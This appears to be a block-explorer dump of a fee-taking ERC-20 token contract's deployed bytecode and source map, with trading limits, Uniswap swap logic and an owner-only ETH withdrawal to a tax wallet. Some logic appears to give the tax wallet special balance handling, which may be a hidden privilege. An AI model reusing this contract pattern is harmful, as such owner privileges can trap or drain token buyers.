Deployed Bytecode

0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063bf474bed11610064578063bf474bed146102cd578063c876d0b9146102e2578063c9567bf9146102f7578063dd62ed3e1461030c578063ec8f850b1461032c5761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b411461012f5780639e78fb4f14610298578063a9059cbb146102ad5761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610341565b6040516101519190611687565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611582565b610366565b604051610151919061167c565b34801561019357600080fd5b5061019c610384565b60405161015191906119c7565b3480156101b557600080fd5b5061019c61038a565b3480156101ca57600080fd5b5061017a6101d9366004611542565b6103ab565b3480156101ea57600080fd5b506101f3610433565b6040516101519190611a40565b34801561020c57600080fd5b5061019c61021b3660046114d2565b610438565b34801561022c57600080fd5b50610235610453565b005b34801561024357600080fd5b506102356104db565b34801561025857600080fd5b5061019c61055f565b34801561026d57600080fd5b50610276610565565b60405161015191906115fa565b34801561028f57600080fd5b5061019c610574565b3480156102a457600080fd5b5061023561057a565b3480156102b957600080fd5b5061017a6102c8366004611582565b6107ac565b3480156102d957600080fd5b5061019c6107c0565b3480156102ee57600080fd5b5061017a6107c6565b34801561030357600080fd5b506102356107cf565b34801561031857600080fd5b5061019c61032736600461150a565b61097a565b34801561033857600080fd5b506102356109a5565b60408051808201909152600b81526a23363ab33334b733ba37b760a91b602082015290565b600061037a6103736109e5565b84846109e9565b5060015b92915050565b60115481565b60006103986009600a611acc565b6103a690633b9aca00611b9d565b905090565b60006103b8848484610a9d565b610428846103c46109e5565b61042385604051806060016040528060288152602001611c1a602891396001600160a01b038a166000908152600260205260408120906104026109e5565b6001600160a01b031681526020810191909152604001600020549190610bd3565b6109e9565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61045b6109e5565b6000546001600160a01b039081169116146104915760405162461bcd60e51b81526004016104889061180e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104e36109e5565b6000546001600160a01b039081169116146105105760405162461bcd60e51b81526004016104889061180e565b600019600e819055600f8190556005805460ff191690556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf91610555916119c7565b60405180910390a1565b600e5481565b6000546001600160a01b031690565b600f5481565b6105826109e5565b6000546001600160a01b039081169116146105af5760405162461bcd60e51b81526004016104889061180e565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106009030906001600160a01b03166105f26009600a611acc565b61042390633b9aca00611b9d565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064e57600080fd5b505afa158015610662573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068691906114ee565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e357600080fd5b505afa1580156106f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071b91906114ee565b6040518363ffffffff1660e01b815260040161073892919061160e565b602060405180830381600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a91906114ee565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061037a6107b96109e5565b8484610a9d565b60105481565b60055460ff1681565b6107d76109e5565b6000546001600160a01b039081169116146108045760405162461bcd60e51b81526004016104889061180e565b601354600160a01b900460ff161561082e5760405162461bcd60e51b81526004016104889061194c565b6012546001600160a01b031663f305d719473061084a81610438565b600080610855610565565b426040518863ffffffff1660e01b815260040161087796959493929190611641565b6060604051808303818588803b15801561089057600080fd5b505af11580156108a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c991906115cd565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261090392169060001990600401611628565b602060405180830381600087803b15801561091d57600080fd5b505af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095591906115ad565b506013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6109ad6109e5565b6000546001600160a01b039081169116146109da5760405162461bcd60e51b81526004016104889061180e565b6109e347610c0d565b565b3390565b6001600160a01b038316610a0f5760405162461bcd60e51b815260040161048890611908565b6001600160a01b038216610a355760405162461bcd60e51b815260040161048890611754565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a909085906119c7565b60405180910390a3505050565b6001600160a01b038316610ac35760405162461bcd60e51b81526004016104889061188c565b6001600160a01b038216610ae95760405162461bcd60e51b8152600401610488906116da565b60008111610b095760405162461bcd60e51b815260040161048890611843565b601354600160b01b900460ff161580610b2b5750601354600160a81b900460ff165b15610b4057610b3b838383610c4f565b610bce565b6000610b4a610565565b6001600160a01b0316846001600160a01b031614158015610b845750610b6e610565565b6001600160a01b0316836001600160a01b031614155b15610bc05760055460ff1615610b9d57610b9d83610ce1565b610ba8848484610d56565b610bb3848484610e82565b9050610bc0848484610f2e565b610bcc84848484611006565b505b505050565b60008184841115610bf75760405162461bcd60e51b81526004016104889190611687565b506000610c048486611bbc565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610c4b573d6000803e3d6000fd5b5050565b6001600160a01b038316600090815260016020526040902054610c729082611127565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ca19082611169565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611c4283398151915290610a909085906119c7565b6012546001600160a01b03828116911614801590610d0d57506013546001600160a01b03828116911614155b15610d5357326000908152600460205260409020544311610d405760405162461bcd60e51b815260040161048890611983565b3260009081526004602052604090204390555b50565b600554610d7290849061010090046001600160a01b0316611198565b610d9d57600554610d9d9061010090046001600160a01b0316846000610d988582611a4e565b6111aa565b6013546001600160a01b038481169116148015610dc857506012546001600160a01b03838116911614155b8015610ded57506001600160a01b03821660009081526003602052604090205460ff16155b15610bce57600e54811115610e145760405162461bcd60e51b81526004016104889061171d565b600f5481610e2184610438565b610e2b9190611a4e565b1115610e495760405162461bcd60e51b8152600401610488906118d1565b600c54600d541015610e6857610e5e8261123c565b15610e6857600080fd5b600d8054906000610e7883611bd3565b9190505550505050565b600080610eb16064610eab600a54600d5411610ea057600654610ea4565b6008545b8690611242565b90611287565b6013549091506001600160a01b038581169116148015610eda57506001600160a01b0385163014155b15610f2657600e54831115610f015760405162461bcd60e51b81526004016104889061171d565b610c046064610eab600b54600d5411610f1c57600754610ea4565b6009548690611242565b949350505050565b6000610f3930610438565b601354909150600160a81b900460ff16158015610f6357506013546001600160a01b038481169116145b8015610f785750601354600160b01b900460ff165b8015610f875750600c54600d54115b8015610fac57506001600160a01b03841660009081526003602052604090205460ff16155b8015610fd157506001600160a01b03831660009081526003602052604090205460ff16155b15610bcc57601054811115610ffd57610ffd610ff883610ff3846011546112c9565b6112c9565b6112de565b610bcc47610c0d565b801561106c57306000908152600160205260409020546110269082611169565b30600081815260016020526040908190209290925590516001600160a01b03861690600080516020611c42833981519152906110639085906119c7565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461108f9083611127565b6001600160a01b0385166000908152600160205260409020556110d46110b58383611127565b6001600160a01b03851660009081526001602052604090205490611169565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611c4283398151915261110c8585611127565b60405161111991906119c7565b60405180910390a350505050565b600061042c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bd3565b6000806111768385611a4e565b90508381101561042c5760405162461bcd60e51b815260040161048890611796565b6001600160a01b039081169116141590565b6001600160a01b0384166000908152600160205260409020546111cd9083611127565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546111fc9082611169565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611c42833981519152906111199085906119c7565b3b151590565b6000826112515750600061037e565b600061125d8385611b9d565b90508261126a8583611a66565b1461042c5760405162461bcd60e51b8152600401610488906117cd565b600061042c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a4565b60008183116112d8578261042c565b50919050565b6013805460ff60a81b1916600160a81b179055806112fb57611494565b601354600160a01b900460ff1661131157611494565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061135457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113a857600080fd5b505afa1580156113bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e091906114ee565b8160018151811061140157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461142791309116846109e9565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114609085906000908690309042906004016119d0565b600060405180830381600087803b15801561147a57600080fd5b505af115801561148e573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b600081836114c55760405162461bcd60e51b81526004016104889190611687565b506000610c048486611a66565b6000602082840312156114e3578081fd5b813561042c81611c04565b6000602082840312156114ff578081fd5b815161042c81611c04565b6000806040838503121561151c578081fd5b823561152781611c04565b9150602083013561153781611c04565b809150509250929050565b600080600060608486031215611556578081fd5b833561156181611c04565b9250602084013561157181611c04565b929592945050506040919091013590565b60008060408385031215611594578182fd5b823561159f81611c04565b946020939093013593505050565b6000602082840312156115be578081fd5b8151801515811461042c578182fd5b6000806000606084860312156115e1578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156116b357858101830151858201604001528201611697565b818111156116c45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60208082526024908201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6040820152633bb2b21760e11b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a1f5784516001600160a01b0316835293830193918301916001016119fa565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a6157611a61611bee565b500190565b600082611a8157634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a985750611ac3565b818704821115611aaa57611aaa611bee565b80861615611ab757918102915b9490941c938002611a89565b94509492505050565b600061042c60001960ff851684600082611ae85750600161042c565b81611af55750600061042c565b8160018114611b0b5760028114611b1557611b42565b600191505061042c565b60ff841115611b2657611b26611bee565b6001841b915084821115611b3c57611b3c611bee565b5061042c565b5060208310610133831016604e8410600b8410161715611b75575081810a83811115611b7057611b70611bee565b61042c565b611b828484846001611a86565b808604821115611b9457611b94611bee565b02949350505050565b6000816000190483118215151615611bb757611bb7611bee565b500290565b600082821015611bce57611bce611bee565b500390565b6000600019821415611be757611be7611bee565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d5357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122026c44b75d8c29a55ed1306ed0f90a213aa0759daf829b9ebf138690f5efa6bef64736f6c63430008010033

Deployed Bytecode Sourcemap

3838:10856:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6189:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9598:186;;;;;;;;;;-1:-1:-1;9598:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5031:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6466:95::-;;;;;;;;;;;;;:::i;7072:446::-;;;;;;;;;;-1:-1:-1;7072:446:0;;;;;:::i;:::-;;:::i;6375:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6569:119::-;;;;;;;;;;-1:-1:-1;6569:119:0;;;;;:::i;:::-;;:::i;2074:148::-;;;;;;;;;;;;;:::i;:::-;;13536:213;;;;;;;;;;;;;:::i;4840:56::-;;;;;;;;;;;;;:::i;1860:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4903:58::-;;;;;;;;;;;;;:::i;5790:391::-;;;;;;;;;;;;;:::i;6696:192::-;;;;;;;;;;-1:-1:-1;6696:192:0;;;;;:::i;:::-;;:::i;4968:56::-;;;;;;;;;;;;;:::i;4182:40::-;;;;;;;;;;;;;:::i;13857:493::-;;;;;;;;;;;;;:::i;6896:168::-;;;;;;;;;;-1:-1:-1;6896:168:0;;;;;:::i;:::-;;:::i;14598:93::-;;;;;;;;;;;;;:::i;6189:83::-;6259:5;;;;;;;;;;;;-1:-1:-1;;;6259:5:0;;;;6189:83;:::o;9598:186::-;9698:4;9715:39;9724:12;:10;:12::i;:::-;9738:7;9747:6;9715:8;:39::i;:::-;-1:-1:-1;9772:4:0;9598:186;;;;;:::o;5031:55::-;;;;:::o;6466:95::-;6519:7;4698:15;4642:1;4698:2;:15;:::i;:::-;4685:28;;:10;:28;:::i;:::-;6539:14;;6466:95;:::o;7072:446::-;7204:4;7221:36;7231:6;7239:9;7250:6;7221:9;:36::i;:::-;7268:220;7291:6;7312:12;:10;:12::i;:::-;7339:138;7395:6;7339:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7339:19:0;;;;;;:11;:19;;;;;;7359:12;:10;:12::i;:::-;-1:-1:-1;;;;;7339:33:0;;;;;;;;;;;;-1:-1:-1;7339:33:0;;;:138;:37;:138::i;:::-;7268:8;:220::i;:::-;-1:-1:-1;7506:4:0;7072:446;;;;;;:::o;6375:83::-;4642:1;6375:83;:::o;6569:119::-;-1:-1:-1;;;;;6662:18:0;6635:7;6662:18;;;:9;:18;;;;;;;6569:119::o;2074:148::-;1997:12;:10;:12::i;:::-;1987:6;;-1:-1:-1;;;;;1987:6:0;;;:22;;;1979:67;;;;-1:-1:-1;;;1979:67:0;;;;;;;:::i;:::-;;;;;;;;;2181:1:::1;2165:6:::0;;2144:40:::1;::::0;-1:-1:-1;;;;;2165:6:0;;::::1;::::0;2144:40:::1;::::0;2181:1;;2144:40:::1;2212:1;2195:19:::0;;-1:-1:-1;;;;;;2195:19:0::1;::::0;;2074:148::o;13536:213::-;1997:12;:10;:12::i;:::-;1987:6;;-1:-1:-1;;;;;1987:6:0;;;:22;;;1979:67;;;;-1:-1:-1;;;1979:67:0;;;;;;;:::i;:::-;-1:-1:-1;;13590:12:0::1;:26:::0;;;13627:14:::1;:28:::0;;;13666:20:::1;:28:::0;;-1:-1:-1;;13666:28:0::1;::::0;;13710:31:::1;::::0;::::1;::::0;::::1;::::0;::::1;:::i;:::-;;;;;;;;13536:213::o:0;4840:56::-;;;;:::o;1860:79::-;1898:7;1925:6;-1:-1:-1;;;;;1925:6:0;1860:79;:::o;4903:58::-;;;;:::o;5790:391::-;1997:12;:10;:12::i;:::-;1987:6;;-1:-1:-1;;;;;1987:6:0;;;:22;;;1979:67;;;;-1:-1:-1;;;1979:67:0;;;;;;;:::i;:::-;5842:15:::1;:104:::0;;-1:-1:-1;;;;;;5842:104:0::1;5893:42;5842:104;::::0;;;;5957:58:::1;::::0;5974:4:::1;::::0;-1:-1:-1;;;;;5989:15:0::1;4698;4642:1;4698:2;:15;:::i;:::-;4685:28;::::0;:10:::1;:28;:::i;5957:58::-;6060:15;;;;;;;;;-1:-1:-1::0;;;;;6060:15:0::1;-1:-1:-1::0;;;;;6060:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6042:55:0::1;;6120:4;6140:15;;;;;;;;;-1:-1:-1::0;;;;;6140:15:0::1;-1:-1:-1::0;;;;;6140:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6042:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6026:13;:147:::0;;-1:-1:-1;;;;;;6026:147:0::1;-1:-1:-1::0;;;;;6026:147:0;;;::::1;::::0;;;::::1;::::0;;5790:391::o;6696:192::-;6799:4;6816:42;6826:12;:10;:12::i;:::-;6840:9;6851:6;6816:9;:42::i;4968:56::-;;;;:::o;4182:40::-;;;;;;:::o;13857:493::-;1997:12;:10;:12::i;:::-;1987:6;;-1:-1:-1;;;;;1987:6:0;;;:22;;;1979:67;;;;-1:-1:-1;;;1979:67:0;;;;;;;:::i;:::-;13919:11:::1;::::0;-1:-1:-1;;;13919:11:0;::::1;;;13918:12;13910:48;;;;-1:-1:-1::0;;;13910:48:0::1;;;;;;;:::i;:::-;13979:15;::::0;-1:-1:-1;;;;;13979:15:0::1;:31;14018:21;14063:4;14083:24;14063:4:::0;14083:9:::1;:24::i;:::-;14122:1;14138::::0;14154:7:::1;:5;:7::i;:::-;14176:15;13979:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14220:13:0::1;::::0;14251:15:::1;::::0;14213:71:::1;::::0;-1:-1:-1;;;14213:71:0;;-1:-1:-1;;;;;14220:13:0;;::::1;::::0;-1:-1:-1;14213:29:0::1;::::0;:71:::1;::::0;14251:15:::1;::::0;-1:-1:-1;;14269:14:0;14213:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14295:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;14295:18:0;;::::1;-1:-1:-1::0;;;14295:18:0::1;14324;-1:-1:-1::0;;;14324:18:0::1;::::0;;13857:493::o;6896:168::-;-1:-1:-1;;;;;7029:18:0;;;7002:7;7029:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6896:168::o;14598:93::-;1997:12;:10;:12::i;:::-;1987:6;;-1:-1:-1;;;;;1987:6:0;;;:22;;;1979:67;;;;-1:-1:-1;;;1979:67:0;;;;;;;:::i;:::-;14648:35:::1;14661:21;14648:12;:35::i;:::-;14598:93::o:0;202:98::-;282:10;202:98;:::o;7526:335::-;-1:-1:-1;;;;;7619:19:0;;7611:68;;;;-1:-1:-1;;;7611:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7698:21:0;;7690:68;;;;-1:-1:-1;;;7690:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7769:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7821:32;;;;;7799:6;;7821:32;:::i;:::-;;;;;;;;7526:335;;;:::o;9792:867::-;-1:-1:-1;;;;;9885:18:0;;9877:68;;;;-1:-1:-1;;;9877:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9964:16:0;;9956:64;;;;-1:-1:-1;;;9956:64:0;;;;;;;:::i;:::-;10053:1;10039:11;:15;10031:69;;;;-1:-1:-1;;;10031:69:0;;;;;;;:::i;:::-;10116:11;;-1:-1:-1;;;10116:11:0;;;;10115:12;;:22;;-1:-1:-1;10131:6:0;;-1:-1:-1;;;10131:6:0;;;;10115:22;10111:113;;;10154:37;10169:4;10175:2;10179:11;10154:14;:37::i;:::-;10206:7;;10111:113;10234:17;10278:7;:5;:7::i;:::-;-1:-1:-1;;;;;10270:15:0;:4;-1:-1:-1;;;;;10270:15:0;;;:32;;;;;10295:7;:5;:7::i;:::-;-1:-1:-1;;;;;10289:13:0;:2;-1:-1:-1;;;;;10289:13:0;;;10270:32;10266:327;;;10323:20;;;;10319:84;;;10364:23;10384:2;10364:19;:23::i;:::-;10417:42;10437:4;10443:2;10447:11;10417:19;:42::i;:::-;10489:38;10505:4;10511:2;10515:11;10489:15;:38::i;:::-;10477:50;;10542:39;10559:4;10565:2;10569:11;10542:16;:39::i;:::-;10603:48;10618:4;10624:2;10628:11;10641:9;10603:14;:48::i;:::-;9792:867;;;;;:::o;662:224::-;782:7;818:12;810:6;;;;802:29;;;;-1:-1:-1;;;802:29:0;;;;;;;;:::i;:::-;-1:-1:-1;842:9:0;854:5;858:1;854;:5;:::i;:::-;842:17;662:224;-1:-1:-1;;;;;662:224:0:o;13757:92::-;13814:10;;:27;;:10;;;;-1:-1:-1;;;;;13814:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;13757:92;:::o;7869:253::-;-1:-1:-1;;;;;7978:15:0;;;;;;:9;:15;;;;;;:32;;7998:11;7978:19;:32::i;:::-;-1:-1:-1;;;;;7960:15:0;;;;;;;:9;:15;;;;;;:50;;;;8037:13;;;;;;;:30;;8055:11;8037:17;:30::i;:::-;-1:-1:-1;;;;;8021:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8083:31;;;;;;-1:-1:-1;;;;;;;;;;;8083:31:0;;;8102:11;;8083:31;:::i;8441:421::-;8534:15;;-1:-1:-1;;;;;8520:30:0;;;8534:15;;8520:30;;;;:75;;-1:-1:-1;8581:13:0;;-1:-1:-1;;;;;8567:28:0;;;8581:13;;8567:28;;8520:75;8502:353;;;8677:9;8648:39;;;;:28;:39;;;;;;8690:12;-1:-1:-1;8622:152:0;;;;-1:-1:-1;;;8622:152:0;;;;;;;:::i;:::-;8818:9;8789:39;;;;:28;:39;;;;;8831:12;8789:54;;8502:353;8441:421;:::o;8870:720::-;8991:10;;8970:32;;8985:4;;8991:10;;;-1:-1:-1;;;;;8991:10:0;8970:14;:32::i;:::-;8966:91;;9016:10;;9004:53;;9016:10;;;-1:-1:-1;;;;;9016:10:0;9028:4;9034:3;9039:17;9045:11;9034:3;9039:17;:::i;:::-;9004:11;:53::i;:::-;9096:13;;-1:-1:-1;;;;;9088:21:0;;;9096:13;;9088:21;:68;;;;-1:-1:-1;9140:15:0;;-1:-1:-1;;;;;9126:30:0;;;9140:15;;9126:30;;9088:68;:108;;;;-1:-1:-1;;;;;;9174:22:0;;;;;;:18;:22;;;;;;;;9173:23;9088:108;9070:513;;;9246:12;;9231:11;:27;;9223:65;;;;-1:-1:-1;;;9223:65:0;;;;;;;:::i;:::-;9360:14;;9345:11;9329:13;9339:2;9329:9;:13::i;:::-;:27;;;;:::i;:::-;:45;;9303:133;;;;-1:-1:-1;;;9303:133:0;;;;;;;:::i;:::-;9467:18;;9455:9;;:30;9451:95;;;9515:14;9526:2;9515:10;:14::i;:::-;9514:15;9506:24;;;;;;9560:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8870:720;;;:::o;12039:757::-;12132:7;12153:17;12173:189;12358:3;12173:166;12234:15;;12222:9;;:27;12221:103;;12310:14;;12221:103;;;12274:12;;12221:103;12173:11;;:29;:166::i;:::-;:184;;:189::i;:::-;12385:13;;12153:209;;-1:-1:-1;;;;;;12379:19:0;;;12385:13;;12379:19;:44;;;;-1:-1:-1;;;;;;12402:21:0;;12418:4;12402:21;;12379:44;12375:385;;;12463:12;;12448:11;:27;;12440:65;;;;-1:-1:-1;;;12440:65:0;;;;;;;:::i;:::-;12532:216;12744:3;12532:189;12601:16;;12589:9;;:28;12588:114;;12687:15;;12588:114;;;12646:13;;12532:11;;:33;:189::i;12375:385::-;12779:9;12039:757;-1:-1:-1;;;;12039:757:0:o;11365:666::-;11458:28;11489:24;11507:4;11489:9;:24::i;:::-;11543:6;;11458:55;;-1:-1:-1;;;;11543:6:0;;;;11542:7;:43;;;;-1:-1:-1;11572:13:0;;-1:-1:-1;;;;;11566:19:0;;;11572:13;;11566:19;11542:43;:71;;;;-1:-1:-1;11602:11:0;;-1:-1:-1;;;11602:11:0;;;;11542:71;:118;;;;;11642:18;;11630:9;;:30;11542:118;:160;;;;-1:-1:-1;;;;;;11678:24:0;;;;;;:18;:24;;;;;;;;11677:25;11542:160;:200;;;;-1:-1:-1;;;;;;11720:22:0;;;;;;:18;:22;;;;;;;;11719:23;11542:200;11524:500;;;11795:17;;11772:20;:40;11769:194;;;11833:114;11872:56;11876:11;11889:38;11893:20;11915:11;;11889:3;:38::i;:::-;11872:3;:56::i;:::-;11833:16;:114::i;:::-;11977:35;11990:21;11977:12;:35::i;10667:561::-;10824:13;;10820:204;;10899:4;10881:24;;;;:9;:24;;;;;;:71;;10928:9;10881:28;:71::i;:::-;10872:4;10854:24;;;;:9;:24;;;;;;;:98;;;;10972:40;;-1:-1:-1;;;;;10972:40:0;;;-1:-1:-1;;;;;;;;;;;10972:40:0;;;11002:9;;10972:40;:::i;:::-;;;;;;;;10820:204;-1:-1:-1;;;;;11054:15:0;;;;;;:9;:15;;;;;;:32;;11074:11;11054:19;:32::i;:::-;-1:-1:-1;;;;;11036:15:0;;;;;;:9;:15;;;;;:50;11113:45;11131:26;:11;11147:9;11131:15;:26::i;:::-;-1:-1:-1;;;;;11113:13:0;;;;;;:9;:13;;;;;;;:17;:45::i;:::-;-1:-1:-1;;;;;11097:13:0;;;;;;;:9;:13;;;;;:61;;;;11174:46;;-1:-1:-1;;;;;;;;;;;11193:26:0;:11;11209:9;11193:15;:26::i;:::-;11174:46;;;;;;:::i;:::-;;;;;;;;10667:561;;;;:::o;518:136::-;576:7;603:43;607:1;610;603:43;;;;;;;;;;;;;;;;;:3;:43::i;331:179::-;389:7;;421:5;425:1;421;:5;:::i;:::-;409:17;;450:1;445;:6;;437:46;;;;-1:-1:-1;;;437:46:0;;;;;;;:::i;11236:121::-;-1:-1:-1;;;;;11335:14:0;;;;;;;;11236:121::o;8130:303::-;-1:-1:-1;;;;;8267:17:0;;;;;;:9;:17;;;;;;:33;;8289:10;8267:21;:33::i;:::-;-1:-1:-1;;;;;8247:17:0;;;;;;;:9;:17;;;;;;:53;;;;8332:18;;;;;;;:37;;8355:13;8332:22;:37::i;:::-;-1:-1:-1;;;;;8311:18:0;;;;;;;:9;:18;;;;;;;:58;;;;8385:40;;;;;;-1:-1:-1;;;;;;;;;;;8385:40:0;;;8411:13;;8385:40;:::i;14395:195::-;14526:20;14574:8;;;14395:195::o;894:246::-;952:7;976:6;972:47;;-1:-1:-1;1006:1:0;999:8;;972:47;1029:9;1041:5;1045:1;1041;:5;:::i;:::-;1029:17;-1:-1:-1;1074:1:0;1065:5;1069:1;1029:17;1065:5;:::i;:::-;:10;1057:56;;;;-1:-1:-1;;;1057:56:0;;;;;;;:::i;1148:132::-;1206:7;1233:39;1237:1;1240;1233:39;;;;;;;;;;;;;;;;;:3;:39::i;12804:107::-;12861:7;12893:1;12889;:5;12888:15;;12902:1;12888:15;;;-1:-1:-1;12898:1:0;12804:107;-1:-1:-1;12804:107:0:o;12919:609::-;5370:6;:13;;-1:-1:-1;;;;5370:13:0;-1:-1:-1;;;5370:13:0;;;13001:16;12997:55:::1;;13034:7;;12997:55;13067:11;::::0;-1:-1:-1;;;13067:11:0;::::1;;;13062:51;;13095:7;;13062:51;13147:16;::::0;;13161:1:::1;13147:16:::0;;;;;::::1;::::0;;13123:21:::1;::::0;13147:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13147:16:0::1;13123:40;;13192:4;13174;13179:1;13174:7;;;;;;-1:-1:-1::0;;;13174:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13174:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13218:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13218:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13174:7;;13218:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;